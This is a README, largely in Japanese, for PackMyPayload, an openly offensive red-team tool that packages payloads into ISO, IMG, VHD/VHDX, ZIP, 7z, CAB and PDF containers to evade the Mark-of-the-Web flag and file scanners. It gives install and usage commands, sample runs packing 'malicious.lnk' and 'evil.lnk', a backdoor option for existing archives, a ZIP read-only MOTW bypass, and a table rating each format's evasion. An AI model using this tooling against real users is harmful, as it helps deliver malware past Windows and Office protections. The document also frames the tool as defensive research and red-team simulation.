
A PoC that packages payloads into output containers to evade Mark-of-the-Web flag & demonstrate risks associated with container file formats. Supports: ZIP, 7zip, PDF, ISO, IMG, CAB, VHD, VHDX
PackMyPayload - コンテナ化されたマルウェアの新たな脅威このツールは、入力としてファイルまたはディレクトリを受け取り、それらをアーカイブ/コンテナとして機能する出力ファイルに埋め込みます。これは、埋め込まれたマルウェアを含むコンテナファイルフォーマットの新たなリスクを示す概念実証として機能するだけでなく、プロフェッショナルなレッドチームオペレーターが初期アクセスの操作を磨くための補助としても役立ちます。
現在、脅威アクターはさまざまなコンテナファイルフォーマットでアーカイブされたマルウェアを密輸することが知られています。その一部を挙げると:
7zipzipISOIMG彼らは、ペイロードをファイルコンテンツスキャナーを通過させるためですが、さらに重要なのは、ファイルにMark-Of-The-Webフラグが付与されるのを避けるためです。攻撃者がファイルにMOTWを付与されたくない理由はさまざまですが、Microsoft Officeの保護されたビューは常にその一つです。
彼らが被害者にコンテナファイルを提供すれば、インターネット経由のOfficeドキュメントにおけるVBAマクロの無効化の基盤が回避される可能性があります。
2月7日、マイクロソフトはインターネット経由のVBAマクロをデフォルトでブロックする構成変更を発表しました。これは、ユーザーのワークステーションとその内部にインストールされたクライアントソフトウェアのベースライン構成を強化するための素晴らしい一歩です。議論の余地はありますが、標準的なWindows+Officeのインストール環境に劇的に良い影響を与える重要なステップです。
実装された動作は、MOTW(Mark of the Web)フラグに基づいてマクロ対応のOfficeドキュメントを区別することで機能すると説明されています。このフラグは、ソフトウェアクライアント(ブラウザ、メールクライアント、ファイルアーカイバなど)がインターネットなどの信頼できない領域から来たファイルをマークするための_汚染_ラベルとして機能します。
OutflankはMOTWについて、2020年にMOTWフラグが一様に伝播されない領域を示唆してさらに詳しく説明しました。これらの領域は防御のギャップとして機能し、現在まで何年もの間、脅威アクターによって一般的に悪用されています。
彼らの研究により、一部の_コンテナ_ファイルフォーマット、すなわちISO、VHD/VHDXは、自動マウントまたは自動抽出時に内部ファイルにMOTW汚染フラグを伝播しないことが明らかになりました。さらに、Windows 8以降ではこれらのフォーマットをダブルクリックで自動的に開くことができるため、これらは_悪名高い感染キャリアとなり、MOTWのセキュリティ対策としての価値を低下させる可能性があります_。
実際にMark of the Webフラグがどのように見えるかを示しましょう:

ファイルをダウンロードしたら、右クリックしてプロパティを確認します。
ファイルが信頼できないゾーンから来ているため、ブロックを解除するように促すメッセージが表示されます:

その情報は、次のようなZone.Identifierという名前のNTFS ADS(代替データストリーム)に保存されます:

ZoneId=3はファイルを汚染としてマークする役割を果たします。
PackMyPayload.pyを使用して、以下のコマンドでファイルをISO Jolietディスクに簡単に配置します:
PS> py PackMyPayload.py 7z2107-x64.exe 7z2107-x64.iso

ISOファイルを作成したら、Pythonを使用してHTTPサーバーを模倣します:
PS> py -m http.server 80
そしてブラウザを使用してISOファイルをダウンロードします。

そのISOファイルのプロパティを確認すると、MOTWフラグが付いていることがわかります。

しかし、内部の7zipインストーラEXEファイルにはMOTWマークがありません!

業界の注目がマイクロソフトのVBAマクロブロックの勇気ある決断に集まっている機会を利用して、私たちプロフェッショナルなセキュリティ研究者は、世界のテクノロジーの悪用に対する回復力を高めることを最大限に考慮し、現在の脅威アクターのTTPに以下の洞察を追加したいと思います:
脅威アクターは、MOTWがフィッシングペイロードに与える影響をよく認識しています。彼らはずっと前から適応しており、現在は悪意のあるプログラムをコンテナの中に密輸しています。最も一般的に観察されるものとしては、ISO、IMG、CABが挙げられます。
私は今、マイクロソフトの立場に基づいて構築された勢いを高め、これらの回避手段に関する議論を強化するためにこのツールをリリースします。
上記の拡張子を持つファイルが信頼できないゾーンから発信された場合、該当する場所ではそれらを封じ込め(および/またはブロック)することを推奨します:
リリースされたツールにより、より多くのレッドチームが議論されたリスクをシミュレートし、パートナーの防御における検出のギャップをより容易に特定できるようになることを願っています。
このスクリプトは以下の機能と特典を提供します:
サポートされているフォーマット:
--zip-noreadonlyが指定されていない場合)。cmd> pip3 install -r requirements.txt
PS> py PackMyPayload.py C:\my\dir malicious.iso -v
+ o + o + o + o
+ o + + o + +
o + + + o + + o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------, o
:: PACK MY PAYLOAD (1.2.0) -_-_-_-_-_-_-| /\_/\
for all your container cravings -_-_-_-_-_-~|__( ^ .^) + +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-'' ''
+ o o + o + o o + o
+ o + o ~ Mariusz Banach / mgeeky o
o ~ + ~ <mb [at] binary-offensive.com>
o + o + +
[.] Packaging input file to output .iso (iso)...
Burning files onto ISO:
Adding file: //malicious.lnk
Adding file: //malicious.docm
[INFO] [+] File packaged into ISO.
[INFO] Successfully packed input file.
[+] Generated file written to (size: 69632): malicious.iso
DISKPARTが物理デバイスオブジェクト/名前空間への管理者アクセスを必要とするためです。最良の体験は、ANSIカラーをサポートするWindows Terminal (wt)またはConEmuでスクリプトを実行することです。出力が見苦しい場合は、-Nフラグでそれらの色を無効にしてください:PS> py PackMyPayload.py .\evil.lnk .\evil.vhd -v -N
+ o + o + o + o
+ o + + o + +
o + + + o + + o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------, o
:: PACK MY PAYLOAD (1.2.0) -_-_-_-_-_-_-| /\_/\
for all your container cravings -_-_-_-_-_-~|__( ^ .^) + +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-'' ''
+ o o + o + o o + o
+ o + o ~ Mariusz Banach / mgeeky o
o ~ + ~ <mb [at] binary-offensive.com>
o + o + +
[.] Packaging input file to output .vhd (vhd)...
[INFO] Drive letters currently occupied:
X
C
Z
D
[INFO] Will create VHD of size: 1024MB (Dynamic)
[INFO] Will assign VHD letter : V:
[INFO] Will format VHD with : FAT32
[INFO] Creating VHD file...
[+] Created & mounted VHD file on V:\
[.] Packing files into created VHD...
[INFO] Packaged file:
[INFO] evil.lnk => V:\
[.] Detaching VHD file...
[+] Detached VHD file from V:\
[INFO] [+] File packaged into VHD.
[INFO] Successfully packed input file.
[+] Generated file written to (size: 6311936): evil.vhd
usage:
+ o + o + o + o
+ o + + o + +
o + + + o + + o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------, o
:: PACK MY PAYLOAD (1.3.0) -_-_-_-_-_-_-| /\_/\
for all your container cravings -_-_-_-_-_-~|__( ^ .^) + +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-'' ''
+ o o + o + o o + o
+ o + o ~ Mariusz Banach / mgeeky o
o ~ + ~ <mb [at] binary-offensive.com>
o + o + +
Usage: PackMyPayload.py [options] <infile> <outfile>
options:
-h, --help show this help message and exit
Required arguments:
infile Input file/directory to be packaged into output archive/container
outfile Output file with extension pointing at output format
Options:
-v, --verbose Verbose mode.
-d, --debug Debug mode.
-N, --nocolor Dont use colors in text output.
-i BACKDOOR, --backdoor BACKDOOR
Instead of generating blank new output container/archive, will backdoor existing input one.
-n NAME, --filename NAME
Package input file into archive/container under this filename (may contain relative path).
-p PASSWORD, --password PASSWORD
If output archive/container format supports password protection, use this password to protect
output file.
--out-format {zip,7z,iso,img,cab,pdf,vhd,vhdx}
Explicitely define output format disregarding output file's extension. Can be one of
following: zip, 7z, iso, img, cab, pdf, vhd, vhdx
-H HIDE, --hide HIDE (Supported in ISO/IMG, ZIP) Set hidden attribute on file(s). Cannot be repeated, only comma-
separated. Example: --hide icon.ico,evil.exe . Supports wildcards: --hide icon?.*
ZIP specific options:
--zip-noreadonly DISABLE ZIP MOTW bypass that is used by default. By default, PackMyPayload marks Office files
as Read-Only making ZIP software unable to set MOTW flag on them when extracted. This option
disables that behavior.
VHD specific options:
--vhd-size SIZE VHD dynamic size in MB. Default: 1024
--vhd-letter LETTER Drive letter where to mount VHD drive. Default: will pick unused one at random.
--vhd-filesystem FS Filesystem to be used while formatting VHD. Default: FAT32. Supported: fat, fat32, ntfs
=====================================================
Supported container/archive formats:
- zip
- 7z
- iso
- img
- cab
- pdf
- vhd
- vhdx
=====================================================
MSIファイルのサポートを追加word -> embeddings -> oleObject1.bin (OLEストリーム) + 調整tarcpiopaxxararmtreeshartarcpgzuu以下の行を鏡の前でできるだけ速く声に出して読んでいただくようお願いします:
py Pack My Payload dot py
この呪文は古代のDAEMONとSheepsを召喚するとか ( ͡~ ͜ʖ ͡°)
このツールの改善に協力してくれた以下の貢献者に拍手と感謝を:
--hideフラグを追加--hideフラグの問題を修正このプロジェクトや他のプロジェクトは、眠れぬ夜と多くのハードワークの成果です。私の活動を気に入ってくださり、常にコミュニティに還元していることを評価していただけるなら、コーヒーを一杯ご馳走することを検討してください(できればビールの方がいいですが)感謝の気持ちとして! 💪
Mariusz Banach / mgeeky, (@mariuszbit)
<mb [at] binary-offensive.com>
| フォーマット | MOTWを除去? | 標準Windowsサポート? | 権限昇格が必要? | 備考 |
|---|
Zip | いいえ/はい* | はい | いいえ | (CVE-2022-41091でMOTW除去) |
7zip | 部分的 | いいえ | いいえ | 手動ファイル抽出時のみMOTW除去 |
ISO | はい | はい | いいえ | |
IMG | はい | はい | いいえ | |
PDF | ? | はい | いいえ | PDFリーダーのJavascriptサポートに依存 |
CAB | いいえ | はい | いいえ | 被害者側でさらに数回のクリックが必要 |
VHD | はい | はい | はい | このスクリプトは現在ディレクトリを作成できません |
VHDX | はい | はい | はい | このスクリプトは現在ディレクトリを作成できません |
lhaB64, BHX, BZ, BZ2, GZ, HQX, LHA, LZH, MIM, TAZ, TBZ,TBZ2, TGZ, TXZ, TZ, UU, UUE, VMDK, XXE, XZ, Z, ZIPX,